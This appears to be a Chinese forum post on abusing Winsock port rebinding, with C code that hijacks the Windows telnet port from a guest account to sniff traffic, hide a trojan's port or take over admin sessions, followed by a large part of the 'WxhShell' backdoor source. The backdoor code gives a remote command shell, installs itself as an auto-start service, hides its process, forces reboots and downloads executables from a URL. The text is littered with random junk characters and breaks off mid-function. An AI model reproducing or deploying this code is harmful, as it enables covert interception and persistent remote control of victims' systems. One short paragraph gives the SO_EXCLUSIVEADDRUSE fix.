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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2a8ZU{wjn  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T4dLuJl  
k FE2Vv4.  
  saddr.sin_family = AF_INET; uCO-f<b  
<aR9,:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); u>o<u a p  
s\y+ xa:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Z 6KM%R  
GjN/8>/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @[h)M3DFd  
Wj.f$U 4  
  这意味着什么?意味着可以进行如下的攻击: >a7OE=K  
8dgI&t  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /?uA{/8  
JJ`RF   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I4 {uw ge  
yqR2^wZ%r  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c]LE9<G  
<wWZ]P 2]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  qp3J/(F  
1Z%^U ?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B64L>7\>`  
,<R/jHZP9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0NrUB  
C1&~Y.6m  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 DuX7  
_^K)>  
  #include IaMZPl  
  #include XgL-t~_  
  #include jkCa2!WQ'i  
  #include    C^9G \s'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c-3-,pyM_T  
  int main() |s[kY  
  { H8.Aq\2S  
  WORD wVersionRequested; nAIV]9RAZ%  
  DWORD ret; "#,]` ME;  
  WSADATA wsaData; YHBH9E/B  
  BOOL val; j_H"m R  
  SOCKADDR_IN saddr; g(Q)fw  
  SOCKADDR_IN scaddr; q2 K@i*s  
  int err; dd1CuOd6(1  
  SOCKET s; KG9h rT  
  SOCKET sc; r+%:rFeX  
  int caddsize; 2..b/  
  HANDLE mt; /$ Gp<.z  
  DWORD tid;   zURxXo/\V  
  wVersionRequested = MAKEWORD( 2, 2 ); cV^r_E\m  
  err = WSAStartup( wVersionRequested, &wsaData ); 6[ }~m\cY  
  if ( err != 0 ) { r9nH6 Md\  
  printf("error!WSAStartup failed!\n"); ,dn6z#pb+  
  return -1; tgmG#b*  
  } RW| LL@r  
  saddr.sin_family = AF_INET; mHCp^g4Q  
   (Z(O7X(/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U8TH}9Q  
U9^o"vT  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Y'K+O  
  saddr.sin_port = htons(23); ;Z>u]uK4+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @CGci lS=  
  { NqyKR&;  
  printf("error!socket failed!\n"); [R V_{F:'  
  return -1; ,36AR|IO)  
  } |,!]]YO.V  
  val = TRUE; tFlLKziU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I ACpUB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t6-He~  
  { fKEZlrw  
  printf("error!setsockopt failed!\n"); /$ a>f>EJ  
  return -1; mL\_C9k,n  
  } WRa1VU&f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Fu0"Asxce  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `y"(\1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Dxp8^VL  
f};lH[B3y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) > mI1wV[  
  { dL{zU4iUR  
  ret=GetLastError(); 7b>FqW)%  
  printf("error!bind failed!\n"); R"@J*\;$T  
  return -1; H}v.0R  
  } '+?L/|'  
  listen(s,2); 6<aZr\Ufg  
  while(1) 4#<r}j12z  
  { hd+(M[C<9  
  caddsize = sizeof(scaddr); `N;}Gf-'  
  //接受连接请求 ( X(61[Lu  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5:S=gARz  
  if(sc!=INVALID_SOCKET) q{4W@Um-  
  { BY*{j&^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $y%X#:eLJ  
  if(mt==NULL) }5_[t9LX  
  { t2bv nh  
  printf("Thread Creat Failed!\n"); d_t>  
  break; n*(9:y=l1  
  } GjVq"S  
  } 8w,+Y]X<P[  
  CloseHandle(mt); dyH<D5  
  } ~H<oqk:O-  
  closesocket(s); qW~Z#Si  
  WSACleanup(); >WYiOXYv  
  return 0; 6t zUp/O  
  }   8bf_W3  
  DWORD WINAPI ClientThread(LPVOID lpParam) qDSZ:36  
  { ENx1)]  
  SOCKET ss = (SOCKET)lpParam; C8^h`B9z&I  
  SOCKET sc; `.oWmBey\  
  unsigned char buf[4096]; L@mNfLK  
  SOCKADDR_IN saddr; kmNa),`{s  
  long num; ^Om0~)"q  
  DWORD val; \xCI8 *W  
  DWORD ret; ?=u/&3Cw  
  //如果是隐藏端口应用的话,可以在此处加一些判断 JAt$WW{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nK!yu?mS  
  saddr.sin_family = AF_INET; e6G=Bq$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1gK<dg  
  saddr.sin_port = htons(23); @=i- *U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .qd/ft2  
  { : Xe,=M(l~  
  printf("error!socket failed!\n"); ig-V^P  
  return -1; T[?wbYfW  
  } Uz4!O  
  val = 100; ;`")3~M3*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u& 4i=K'x8  
  { vJ +sdG  
  ret = GetLastError(); g3V bP  
  return -1; 8-JOfq}s  
  } g?7I7W~?`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kjj4%0"  
  { d#tqa`@~  
  ret = GetLastError(); i`nmA-Zj[  
  return -1; a*hWODYn  
  } yr;~M{{4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q>ZxJ!B<k  
  { VtTTvP3  
  printf("error!socket connect failed!\n"); Ym% $!#  
  closesocket(sc); 9#;GG3  
  closesocket(ss); ?&gqGU}  
  return -1; 3p+V~n.+  
  } TTDcVG_}  
  while(1) )a7nr<)aU  
  { z`Jcpt  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eq" eLk6h  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @~=*W5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "_f~8f`y  
  num = recv(ss,buf,4096,0); 2uCw[iZM  
  if(num>0) mRurGaR  
  send(sc,buf,num,0); k4C3SI*`4  
  else if(num==0) 'VMov  
  break; dCb7sqJ%  
  num = recv(sc,buf,4096,0); ;c/|LXc\  
  if(num>0) pftnF OLO  
  send(ss,buf,num,0); $q$G  
  else if(num==0) ~cf*Oq  
  break; ^cz4nW<  
  } i?3~Gog  
  closesocket(ss); u?Uu>9@Z  
  closesocket(sc); mhNX05D  
  return 0 ; +nIjW;RU  
  } < NRnE8:  
iJ&jg`"=F  
P Nf_{4  
========================================================== Nc da~h Q  
g7UZtpLTm  
下边附上一个代码,,WXhSHELL 4\_~B{kzZ  
k4E2OyCFoJ  
========================================================== '+s?\X4VC  
R9&3QRW|  
#include "stdafx.h" 4@mK:v %  
'=WPi_Z5:C  
#include <stdio.h> FUO9jX  
#include <string.h> w-j^jU><3  
#include <windows.h> L-9 AJk>V  
#include <winsock2.h> c%+_~iBUN  
#include <winsvc.h> o#Viz:  
#include <urlmon.h> u]z87#4  
zk;'`@7  
#pragma comment (lib, "Ws2_32.lib") 5Ic'6AIz  
#pragma comment (lib, "urlmon.lib") @* <`*W  
'PqKb%B|  
#define MAX_USER   100 // 最大客户端连接数 ~Fe$/*v  
#define BUF_SOCK   200 // sock buffer <-h[I&."  
#define KEY_BUFF   255 // 输入 buffer {y%|Io`P  
'>^!a!<G  
#define REBOOT     0   // 重启 !jTxMf  
#define SHUTDOWN   1   // 关机 h}U>K4BJ  
Wt M1nnJp  
#define DEF_PORT   5000 // 监听端口 B'v~0Kau  
3 ,f3^A  
#define REG_LEN     16   // 注册表键长度 xxQgX~'x  
#define SVC_LEN     80   // NT服务名长度 1xD?cA\vu  
K%g_e*"$  
// 从dll定义API | 9 <+!t\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1KadT7<0}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @$|8zPs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "(YfvO+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #z5$_z?_  
so>jz@!EE  
// wxhshell配置信息 ]@6L,+W"  
struct WSCFG { 8~}~ d}wW  
  int ws_port;         // 监听端口 }rQ0*h  
  char ws_passstr[REG_LEN]; // 口令 JKF/z@Vbe\  
  int ws_autoins;       // 安装标记, 1=yes 0=no "!9FJ Y  
  char ws_regname[REG_LEN]; // 注册表键名 U1)!X@F{  
  char ws_svcname[REG_LEN]; // 服务名 =&"a:l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,ll<0Atg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @b9qBJfQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7NMy1'-q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }3/|;0j$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6n:oEXM>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ILIv43QKM(  
A D%9;KQ8  
}; v hGX&   
UZ;FrQ(l{  
// default Wxhshell configuration =lmelo#m&  
struct WSCFG wscfg={DEF_PORT, GD1L6kVd1  
    "xuhuanlingzhe", 2[CHiB*>  
    1, j%)@f0Ng  
    "Wxhshell", yTR5*{?j  
    "Wxhshell", jfU$qo!gi  
            "WxhShell Service", 717OzrF}A?  
    "Wrsky Windows CmdShell Service", }1mkX\wWP  
    "Please Input Your Password: ", .^wBv 'Y  
  1, = G>Y9Sc  
  "http://www.wrsky.com/wxhshell.exe", +,zV [\  
  "Wxhshell.exe" tRbZX{  
    }; i3vg7V.  
yS.)l  
// 消息定义模块 C'6c,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e8 c.&j3m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bH g 0,N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %F87"v~  
char *msg_ws_ext="\n\rExit."; xQ! Va  
char *msg_ws_end="\n\rQuit."; IqFmJs|C  
char *msg_ws_boot="\n\rReboot..."; i 2 ='>  
char *msg_ws_poff="\n\rShutdown..."; p+;;01Z+_  
char *msg_ws_down="\n\rSave to "; 5Y>fVq{U?;  
b(~#CHg  
char *msg_ws_err="\n\rErr!"; -HvJ&O.V$  
char *msg_ws_ok="\n\rOK!"; o]B2^Yq;x  
6Z5$cR_vC7  
char ExeFile[MAX_PATH]; TMD*-wYr  
int nUser = 0; uBw[|,yn2*  
HANDLE handles[MAX_USER]; -FS! v^  
int OsIsNt; K_fJ{Vc>O  
Z~K} @  
SERVICE_STATUS       serviceStatus; EY@KWs3"H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q2'`K|T  
/jSb ^1\  
// 函数声明 ~m4 LL[  
int Install(void); *rVI[k L  
int Uninstall(void); 63'L58O  
int DownloadFile(char *sURL, SOCKET wsh); 5R6QZVc  
int Boot(int flag); NNBT.k3)  
void HideProc(void); nK`H;k  
int GetOsVer(void); U45-R -  
int Wxhshell(SOCKET wsl); P! P` MX  
void TalkWithClient(void *cs); DAy|'%rF1-  
int CmdShell(SOCKET sock); Y=@iD\u  
int StartFromService(void); gZ us}U  
int StartWxhshell(LPSTR lpCmdLine); ir5eR}H  
]/|DCxQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #!>`$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0x # V   
s >k4G  
// 数据结构和表定义 %reW/;)l{  
SERVICE_TABLE_ENTRY DispatchTable[] = ~FVbL-2  
{ L+G i  
{wscfg.ws_svcname, NTServiceMain}, uT Y G/O  
{NULL, NULL} A:\_ \B%<  
}; e 8^%}\F  
H'I5LYsXO~  
// 自我安装 ?lm<)y?I7+  
int Install(void) -|P7e  
{ 4M;S&LA  
  char svExeFile[MAX_PATH]; ceLr;}?Ws  
  HKEY key; q)PSHr=Z  
  strcpy(svExeFile,ExeFile); ;L,yJ~  
_)~|Z~  
// 如果是win9x系统,修改注册表设为自启动 eGUe#(I /  
if(!OsIsNt) { @h5Q?I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {JM3drnw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ltHuN;C\  
  RegCloseKey(key); + B7UGI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xM>dv5<E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2|`~3B)#  
  RegCloseKey(key); v%QC p  
  return 0;  LNvkC4  
    } USXPa[  
  } ^.M_1$-  
} ?h8/\~Dw  
else { z.W1Za  
&A^2hPe}  
// 如果是NT以上系统,安装为系统服务 &WdP=E"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t5QGXj  
if (schSCManager!=0) e XdH)|l,\  
{ %Ip=3($Ku[  
  SC_HANDLE schService = CreateService XlGB`P>?KD  
  ( (; Zl  
  schSCManager, "?YpF2pD  
  wscfg.ws_svcname, *}LQZFrnX  
  wscfg.ws_svcdisp, C |rl",&  
  SERVICE_ALL_ACCESS, bL5dCQxty  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5a* Awv}  
  SERVICE_AUTO_START, / `w'X/'VJ  
  SERVICE_ERROR_NORMAL, jw]IpGTt  
  svExeFile, +7K]5p;!~  
  NULL, Uzk_ae  
  NULL, cr{dl\ Na  
  NULL, hy:K) _  
  NULL, bre6SP@  
  NULL :Czvwp{z  
  ); VE/~tT;  
  if (schService!=0) 6.4,Qae9E  
  { )sapUnqrlR  
  CloseServiceHandle(schService); s_,&"->  
  CloseServiceHandle(schSCManager); <zu)=W'R]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F,XJGD*  
  strcat(svExeFile,wscfg.ws_svcname); UOI Z8Po  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <7X+-%yb;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *tT5Zt/&Sr  
  RegCloseKey(key); t aOsC! Bp  
  return 0; ,I[A~  
    } 8\Eq(o}7  
  } 7M9s}b%?  
  CloseServiceHandle(schSCManager); 3*b!]^d:D  
} &S# bLE  
} ~ K|o@LK  
%P]-wBJw  
return 1; QLTE`t5w3'  
} ZP%Bu2xd  
NO)vk+   
// 自我卸载 fGLOXbsA  
int Uninstall(void) .{ ]=v  
{ [g*]u3s  
  HKEY key; u"a$/  
;D<rGkry  
if(!OsIsNt) { ,<-a 6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &nZ.$UK<  
  RegDeleteValue(key,wscfg.ws_regname); )^'wcBod,  
  RegCloseKey(key); 9a_(_g>S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /t?(IcP5  
  RegDeleteValue(key,wscfg.ws_regname); @i:_ JOl  
  RegCloseKey(key); VAR/"  
  return 0; 6UJBE<ntj  
  } 4HDQj]z/  
} dzMI5fA<_  
} 4^B:Q9B)  
else { B6vmBmN  
?jzadCel  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cl-i6[F  
if (schSCManager!=0) }(XvI^K[^  
{ c[0$8F>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z'X_ s.9F  
  if (schService!=0) :ui1]its4  
  { N:/$N@"Ge  
  if(DeleteService(schService)!=0) { **O4"+Xi8  
  CloseServiceHandle(schService); H\!u5o&}`  
  CloseServiceHandle(schSCManager); cjO,#W0&f  
  return 0; [G|2m_  
  } IN]bAd8"  
  CloseServiceHandle(schService); 4B}w;d@R  
  } ,@ Cru=  
  CloseServiceHandle(schSCManager); $RSVN?  
} rQ$A|GJL  
} cWM|COXL+  
I@q>ES!1H  
return 1;  g^E n6n)  
} aa1XY&G"!  
OiY2l;68  
// 从指定url下载文件 0?t!tugG  
int DownloadFile(char *sURL, SOCKET wsh) @w:sNXz-  
{ ;h3*MR  
  HRESULT hr; &f qmO>M  
char seps[]= "/"; bvR*sT#rg  
char *token; $Y0bjS2J  
char *file; M+^K,  
char myURL[MAX_PATH]; #(*WxVE  
char myFILE[MAX_PATH]; 6YU2  !x  
.]H]H*wC  
strcpy(myURL,sURL); hOMFDfhU  
  token=strtok(myURL,seps); o-Idr{  
  while(token!=NULL) |/lIasI  
  { HNuwq\w  
    file=token; J0p,P.G  
  token=strtok(NULL,seps); +;[`fSi  
  } j)IK  
n7q-)Dv_U  
GetCurrentDirectory(MAX_PATH,myFILE); mLY*  
strcat(myFILE, "\\"); <CmsnX  
strcat(myFILE, file); .Um%6a-  
  send(wsh,myFILE,strlen(myFILE),0); 1I^Sv  
send(wsh,"...",3,0); ;+b}@e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]:E]5&VwV}  
  if(hr==S_OK) FvI`S>  
return 0; L kq>>?T=  
else (Fgt#H(B  
return 1; Nyqm0C6m^  
Dfhs@ z  
} fZ g*@RR  
$=m17GD  
// 系统电源模块 RLHe;-*b]I  
int Boot(int flag) IfXLnD^||  
{ -6tF   
  HANDLE hToken; x(7K3(#|  
  TOKEN_PRIVILEGES tkp; C aJD*  
Gj_b GqF8}  
  if(OsIsNt) { V_W=MWs&+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (kuZS4Af  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); My`%gP~%g  
    tkp.PrivilegeCount = 1; ToJru  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VD3[ko  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T&23Pf1  
if(flag==REBOOT) { dw4)4_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +tN-X'u##  
  return 0; uATBt   
} *-Yw0Y[E  
else { .yP 3}Nl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _5Ll L#)  
  return 0; G\NCEE'A  
} +Ae.>%}  
  } >SGSn/AJi  
  else { er#=xqUY  
if(flag==REBOOT) { X0$_KPn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Go67VqJr  
  return 0; TnaIRJ\B  
} aBC[(}Pb]  
else { YaT07X.(b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ha),N<'  
  return 0; 5,((JxX$  
} H= y-Y_R  
} Le'\x`B  
j&mL]'Zy  
return 1; PYf`a`dH  
} db XG?K][  
mHMej@  
// win9x进程隐藏模块 vPs X!m[#  
void HideProc(void) KE3v3g<  
{ o<'gM]$  
]/'] {*T1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D_)vGvv3;.  
  if ( hKernel != NULL ) 7A|jnm  
  { 4>E2G:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t;1NzI$^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~GeYB6F  
    FreeLibrary(hKernel); ,'673PR  
  } FS}z_G|4]  
)-{Qa\6(%  
return; MnI $%  
} L' pZ  
({9!P30:  
// 获取操作系统版本 ?f`-&c;  
int GetOsVer(void) F1=+<]!  
{ <Gw<(M  
  OSVERSIONINFO winfo; gZUy0`E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;hvXFU  
  GetVersionEx(&winfo); ^hgAgP{{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Dn3~8  
  return 1; @i h}x  
  else $g};u[y  
  return 0; #50)DwD  
} zef,*dQY   
KV*:,>  
// 客户端句柄模块 z Y|g#V-  
int Wxhshell(SOCKET wsl) "p{ '984r<  
{ ;Z_C3/b  
  SOCKET wsh; eQx"nl3U%  
  struct sockaddr_in client; #c>MUC(?s:  
  DWORD myID; h<.[U $,  
iFA"m;$  
  while(nUser<MAX_USER) *La =7y:  
{ M::iU_  
  int nSize=sizeof(client); #0D.37R+k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |7$h@KF=S  
  if(wsh==INVALID_SOCKET) return 1; TH!8G,(w  
pQY>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q2NnpsA^6  
if(handles[nUser]==0) 's?Fip  
  closesocket(wsh); kU/=Du  
else 3>" h*U#  
  nUser++; U;GoC$b}|  
  } DV\ei")  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g8"7wf`0k  
h12wk2@P/]  
  return 0; U08?*{  
} vWH>k+9&X  
^BX@0"&-  
// 关闭 socket `yZZP   
void CloseIt(SOCKET wsh) YoJ'=z,e  
{ !f-o,RJ  
closesocket(wsh); J#DcT@  
nUser--; |q2lTbJ  
ExitThread(0); {UBQ?7.jE  
} Bedjw =B  
ef;L|b%pp  
// 客户端请求句柄 /AW>5r]  
void TalkWithClient(void *cs) 8$kXC+  
{ fNPj8\#V,  
EiN)TB^]  
  SOCKET wsh=(SOCKET)cs; F^z8+W  
  char pwd[SVC_LEN]; i t@}dZ  
  char cmd[KEY_BUFF]; Y0\\(0j64  
char chr[1]; I JY5wP1"  
int i,j; i q:Q$z&  
^u!Tyb8Dk  
  while (nUser < MAX_USER) { "D(8]EG=  
-3t BN*0+  
if(wscfg.ws_passstr) { QCfpDE}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `;CU[Ps?]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7$W;4!BN*  
  //ZeroMemory(pwd,KEY_BUFF); .p(l+  
      i=0; \_AEuz3 F  
  while(i<SVC_LEN) { &AcFa<U  
u^zitW!X$  
  // 设置超时 4E\ntufo  
  fd_set FdRead; V55J[s*6!  
  struct timeval TimeOut; =awO63j>  
  FD_ZERO(&FdRead); V?59 .TJ  
  FD_SET(wsh,&FdRead); uyt-q|83=  
  TimeOut.tv_sec=8; :wZ`>,K"t>  
  TimeOut.tv_usec=0; B"9hQb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hO.G'q$V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qd~98FS  
YG~ o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UX`DZb +^  
  pwd=chr[0]; FP'lEp  
  if(chr[0]==0xd || chr[0]==0xa) { L?27q  
  pwd=0; Au} ;z6k  
  break; Gj19KQ1G  
  } h+~df(S.  
  i++; Y\e]2  
    } p_qm}zp  
NS4'IR=;E!  
  // 如果是非法用户,关闭 socket 2HGD{;6>v{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M:Y*Tb6w  
} Tj21YK.mk  
/rxltF3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E< CxKY9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mq :'-`  
W0MnGzZ  
while(1) { Yuo1'gE+  
=ym  
  ZeroMemory(cmd,KEY_BUFF); Z1$];Q\cX  
bV$8 >[`  
      // 自动支持客户端 telnet标准   'uf2 nUo  
  j=0; [j}7@Mr`\  
  while(j<KEY_BUFF) { xR|eyeR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); noh|/sPMD  
  cmd[j]=chr[0]; hK39_A-  
  if(chr[0]==0xa || chr[0]==0xd) { Km9}^*Mo%  
  cmd[j]=0; y,v0-o~q  
  break; }kCn@  
  } |Sr\jUIWn  
  j++; PG6L]o^  
    } &cu] vw  
aXIB) $1  
  // 下载文件 x\`RW 3 K  
  if(strstr(cmd,"http://")) { y Tw',N{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G&@-R{i  
  if(DownloadFile(cmd,wsh)) eMN+qkvH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~)wwX:;B_  
  else Q)G!Y (g\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7}d$*C  
  } 8Da(tS  
  else { x[PEn  
2 {mY:\  
    switch(cmd[0]) { abICoP1zQ  
  Sf'i{xye  
  // 帮助 TwM1M["3  
  case '?': { Gg}5$||^C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -_2Dy1  
    break; J[}gku?C;  
  } { r6]MS#l1  
  // 安装 H_?;h-Y]  
  case 'i': { #)_J)/h  
    if(Install()) :3a&Pb*PL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ezcS[r  
    else X)Dqeb6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OgEUq''  
    break; |.b%rVu  
    } m x3}m?WQ  
  // 卸载 W il{FcHY  
  case 'r': { |h^K M  
    if(Uninstall()) <G\ <QV8W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5mI?pfm  
    else $zC6(C(l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ulH0%`Fi  
    break; M MAAHo  
    } :v#k&Uh3y  
  // 显示 wxhshell 所在路径 2;~KL-h0TK  
  case 'p': { 99F>n[5  
    char svExeFile[MAX_PATH]; oy2(Ag\  
    strcpy(svExeFile,"\n\r"); *I:mw8t  
      strcat(svExeFile,ExeFile); `]K,'i{R  
        send(wsh,svExeFile,strlen(svExeFile),0); <9@&oN+T  
    break; m9#}X_&x  
    } qPsyqn?Y|  
  // 重启 ]ddHA  
  case 'b': { w`M]0'zls  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'oC$6l'rQ  
    if(Boot(REBOOT)) mYjf5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -"F0eV+y  
    else { j: <t  
    closesocket(wsh); d2ohW|  
    ExitThread(0); mH'\:oN  
    } /r-8T>m  
    break; [FB&4>V/  
    } 6/|U  
  // 关机 r k@UsHy  
  case 'd': { }W1^t  
